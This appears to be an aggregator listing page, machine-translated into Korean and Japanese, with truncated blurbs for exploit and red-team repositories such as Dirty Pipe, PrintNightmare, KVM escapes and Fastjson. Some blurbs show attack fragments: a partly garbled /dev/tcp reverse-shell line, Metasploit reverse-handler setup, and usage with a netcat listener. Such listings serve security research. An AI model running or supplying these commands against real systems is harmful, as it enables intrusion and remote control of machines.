exploitation-course

공격적 보안 & 리버스 엔지니어링 OSRE 과정 이 저장소는 제가 Champlain College에서 가르쳤고 현재 온라인에서 무료로 공유하고 있는 공격적 보안 및 리버스 엔지니어링 공격적 소프트웨어 익스플로잇 과정을 위한 것입니다 녹화본은 YouTube 채널을 확인하세요. 제가 사용한 대부분의 슬라이드 노트는 이미 HTID 과정에 공유되어 있지만, 랩은 모두 제가 직접 만들었습니다. 다루는 각 취약점을 설명하기 위해 공개적으로 이용 가능한 리소스와 소프트웨어를 사용했으므로, 여기에는 온라인에서 찾을 수 없는 내용이 없습니다...

Exploit for CVE-2026-93453

CVE-2026-93453 — SOGo Password Reset Link Poisoning via Origin...

Vulnerability_PoC

흥미로운 취약점들의 PoC/Exploit 작성자: Numen Cyber Labs 취약점 연구팀 1. TCP/IP RCE 취약점 CVE-2022–34718 PoC 복원 및 분석 https://medium.com/@numencyberlabs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf 2. CVE-2022–36537 취약점 기술 분석 및 Exploit...

CVE-2019-5624

CVE-2019-5624 Metasploit의 CVE-2019-5624 취약점Rubyzip의 안전하지 않은 ZIP 처리로 인한 RCE에 대한 개념 증명 소개 2019년 2월, Rubyzip 라이브러리에서 새로운 취약점을 발견했습니다. 이 취약점으로 인해 공격자는 안전하지 않은 ZIP 처리를 Zip Slip 악용하여 원격 코드 실행이 가능합니다. 이 취약점은 모든 Metasploit 버전 &0 2&0 0/dev/tcp/172.16.13.144/4445; bash &196 2&196" 경로 탐색payload이 포함된 ZIP 아카이...

CVE-2023-34039

CVE-2023-34039 CVE-2023-34039에 대한 POC: VMWare Aria Operations for Networks vRealize Network Insight 정적 SSH 키 RCE 기술 분석 취약점의 근본 원인 분석은 제 블로그에서 확인할 수 있습니다: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ 요약 VMWare Aria Operations for Networks vRealize Network Insight...

CVE-2022-0847-dirty-pipe-exploit

CVE-2022-0847-dirty-pipe-exploit CVE-2022-0847 dirty-pipe 취약점을 위한 익스플로잇 사용 방법 다음과 같이 컴파일: gcc exploit.c -o exploit gcc가 설치되어 있다고 가정 ./exploit 실행하면 루트 셸이 열립니다 다음과 같은 오류 메시지가 나타나면, root로 로그인하고 비밀번호는 cspshivam 그런 다음, mv /tmp/passwd.bak /etc/passwd를 실행하여 /etc/passwd를 복원합니다...

RemoteKrbRelay

//, , //\ \ / \ \ XXX XXX / //, \o-o/-o-o/ / / \ XXX | / \ / ,-/ / / /,| | | / \ / ,-,,,/ ,,, root@kitploit: CICADA8 Research Team From Michael Zhmaylo MzHmO RemoteKrbRelay 당신은 아마 KrbRelay와 KrbRelayUp을 알고 있을 것입니다. 그런데 그것을 원격으로 할 수 있다면 어떨까요? RemoteKrbRelay를 사용하면 이것이 현실이 됩니다. TL;DR CertifiedDCOM에 대...

OSINT-Cheat-sheet

OSINT 치트 시트 - OSINT 도구 목록 OSINT 도구, OSINT 팁, 데이터셋, Maltego 변환 및 기타 목록을 포함합니다. 사용할 수 있는 무료 및 유료 도구가 있으며 소유자는 책임을 지지 않습니다본인의 위험을 감수하십시오. 오직 지식 또는 교육 목적으로만 사용하세요. 일부 리소스를 더 이상 사용할 수 없거나 오류가 포함되어 있다면 사과드립니다. 소유자가 이러한 리소스의 상태를 정기적으로 확인하지 않기 때문입니다. 새로운 정보가 있으면 소유자가 해당 카테고리와 함께 이 저장소에 추가할 것입니다. 기술과 인텔리전...

Zapscape

KVM エスケープ三部作 ITScape CVE‑2026‑46316 | Januscape CVE‑2026‑53359 | Zapscape CVE‑2026‑64561 ---|---|--- Zapscape: KVM/x86 におけるゲストからホストへのエスケープ 概要 この文書は、Hyunwoo Kim @v4bel によって発見され、報告された Zapscape CVE-2026-64561 脆弱性について説明します。これは KVM/x86 環境において、ゲストがホストへエスケープし、カーネル root 権限でホスト上でコマンドを実行できるようにする KVM...

CVE-2026-16723

CVE-2026-16723 Exploit A standalone C++17 implementation for CVE-2026-16723 , a critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83. Requirements Linux or WSL on Windows C++17 compatible compiler GCC 7+ or Clang 5+ CMake 3.10 or newer System packages: libzip-dev zlib1g-dev Debian /...

-EXPLOIT-CVE-2023-36025

EXPLOIT CVE-2023-36025 - 설명 Windows SmartScreen 보안 기능 우회 취약점 사용법 참고: handler가 대상의 TCP 요청을 기다리는 중입니다. 추신: CVE-2023-36025.vbs 파일을 구성하여 IP와 포트를 TCP handler에 사용 중인 머신 IP 및 포트로 변경하세요. reverse TCP handler 구성 msfconsole use exploit/multi/handler set payload windows/shellreversetcp set LHOST set LPORT ru...

how-to-bypass-aslr-on-linux-x86_64

Linux x86-64 における 64 ビット aslr の突破 この記事では、Samuel Groß が自身の Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass で説明した手法を、Linux x8664 上の ASLR をバイパスするために適用することについて説明します。 これを示すために、Buckeye CTF の pwnable チャレンジである guessgod を解いてみます。...

CVE-2021-21315

CVE-2021-21315의 익스플로잇 코드 Rust 언어로 작성됨 저는 Rust 초보자입니다. 이 코드는 RustLang 연습의 일부였습니다. 네!! 리버스 셸을 얻자!!!!!!!!!! !교육 또는 연구 용도로만 사용하세요 빌드 root@kitploit: cargo build 사용법 root@kitploit: ./exploit ./exploit http://target.com/api/osinfo?param 172.17.2.1 1234 리버스 셸을 잡기 위해 리스너에 Netcat 필요 root@kitploit: nc -nlvp...

Pentest-Command

프로젝트 배경 침투 테스트 과정에서 우리는 MSF, CS, Empire, Impacket 등 다양한 프레임워크를 사용하게 됩니다. 이 프로젝트의 주요 목적은 후침투 테스트 단계에서 자주 사용되는 명령어를 정리하는 것입니다. 기초 지식 WIN 디렉터리 소개 a. 부팅 시 시작 프로그램 디렉터리c C:\Users\Al1ex\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup root@kitploit: b、부팅 시 자동 실행 프로그램이 기능은 권한 유지에 자주 사용됨c...

CVE-2018-1000117-Exploit

CVE-2018-1000117 Python Software Foundation의 CPythonWindows용 3.23.6.4 버전은 Windows의 os.symlink 함수에 버퍼 오버플로우 취약점을 포함하며, 이로 인해 임의 코드 실행 및 권한 상승이 발생할 수 있습니다. 이 공격은 공격자가 제어하는 이름이나 위치로 심볼릭 링크를 생성하는 파이썬 스크립트를 통해 악용될 수 있는 것으로 보입니다. 이 취약점은 3.7.0 및 3.6.5에서 수정된 것으로 보입니다. 취약한 버전 root@kitploit: Python 2.7...

droidground

DroidGround Website | Demo In traditional CTF challenges , it's common to hide flags in files on a system, requiring attackers to exploit vulnerabilities to retrieve them. However, in the Android world, this approach doesn't work well. APK files are easily downloadable and reversible, so placing ...

exploit-CVE-2020-5844

CVE-2020-5844 Pandora FMS v7.0NG.742 익스플로잇 - 원격 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 작성자 @UNICORDev 작성자: @NicPWNs 및 @Dev-Yeoj 취약점 설명 Pandora FMS v7.0 NG의 index.php?sec=godmode/extensions&sec2=extensions/filesrepo는 인증된 관리자가 악성 PHP 스크립트를 업로드하고, 파일 위치의 base64 디코딩을 통해 실...

CVE-2025-55188-7z-exploit

CVE-2025-55188-7z-exploit 7-Zip 심링크 임의 파일 쓰기 PoC CVE-2025-55188 설명 이 PoC는 CVE-2025-55188 을 시연합니다. 이는 25.01 이전 버전의 7-Zip에서 발견된 취약점입니다. 이 결함은 7-Zip이 압축 해제 중 심볼릭 링크 를 적절히 처리하지 못하기 때문에 발생하며, 조작된 아카이브가 대상 시스템의 임의 파일을 덮어쓸 수 있게 합니다. 피해자가 악성 아카이브를 추출하면 공격자는 다음을 수행할 수 있습니다. 민감한 파일을 덮어씁니다 예: .bashrc,...

Red-Team

프로젝트 소개 이 프로젝트는 Red Team의 다음 측면들을 수집하고 정리하는 데 사용됩니다. Red Team 공격 사고방식 Red Team 공격 도구 Red Team 공격 방법 핵심 콘텐츠 https://mitre-attack.github.io/ mitre 기관의 공격 기술 정리 wiki https://huntingday.github.io MITRE | ATT&CK 중국어 사이트 https://arxiv.org 코넬 대학교Cornell University 오픈 문서...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 2021년 6월 1일 CVE-2021-1675는 "PrintNightmare"로 명명된 치명적인 원격 코드 실행 및 로컬 권한 상승 취약점입니다. 원격 코드 실행 기능에 대한 개념 증명PoC 익스플로잇이 Python, C++ 공개되었고, 로컬 권한 상승을 위한 C 버전도 공개되었습니다. 순수 PowerShell로 구현된 네이티브 버전은 아직 보지 못했기에, 이 익스플로잇을 다듬고 재구성해 보...